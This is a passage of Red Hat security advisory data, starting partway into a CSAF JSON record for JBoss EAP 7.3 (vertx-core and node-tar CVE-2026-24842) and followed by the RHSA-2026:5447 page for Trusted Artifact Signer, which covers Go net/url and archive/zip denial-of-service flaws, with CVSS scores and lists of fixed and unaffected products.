"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "io.vertx/vertx-core: static handler component cache can be manipulated to deny the access to static files"
},
{
"cve": "CVE-2026-24842",
"cwe": {
"id": "CWE-59",
"name": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)"
},
"discovery_date": "2026-01-28T01:01:16.886629+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2433645"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an IMPORTANT vulnerability in node-tar, a Node.js module for handling TAR archives. The flaw allows an attacker to bypass path traversal protections by crafting a malicious TAR archive. This could lead to the creation of hardlinks to arbitrary files outside the intended extraction directory, potentially resulting in unauthorized information disclosure or further system compromise in affected Red Hat products utilizing node-tar for archive processing.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-24842"
},
{
"category": "external",
"summary": "RHBZ#2433645",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-24842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24842"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46",
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
}
],
"release_date": "2026-01-28T00:20:13.261000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check"
}
]
}
RHSA-2026:5447
Vulnerability from csaf_redhat - Published: 2026-03-23 16:03 - Updated: 2026-07-23 03:45Summary
Red Hat Security Advisory: RHTAS 1.3.3 - Red Hat Trusted Artifact Signer Release
Severity
Important
Notes
Topic: The 1.3.3 release of Red Hat Trusted Artifact Signer OpenShift Operator.
For more details please visit the product documentation at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3
Details: The RHTAS Operator can be used with OpenShift Container Platform 4.16, 4.17, 4.18, 4.19, 4.20 and 4.21
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in the net/url package in the Go standard library. The package does not enforce a limit on the number of unique query parameters it parses. A Go application using the net/http.Request.ParseForm method will try to process all parameters provided in the request. A specially crafted HTTP request containing a massive number of query parameters will cause the application to consume an excessive amount of memory, eventually causing the application to crash or become unresponsive, resulting in a denial of service.
7.5 (High)
Affected products
Fixed
8 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in the archive/zip package in the Go standard library. A super-linear file name indexing algorithm is used in the first time a file in an archive is opened. A crafted zip archive containing a specific arrangement of file names can cause an excessive CPU and memory consumption. A Go application processing a malicious archive can become unresponsive or crash, resulting in a denial of service.
7.5 (High)
Affected products
Fixed
5 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
5 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64 | — |
Workaround
|
|
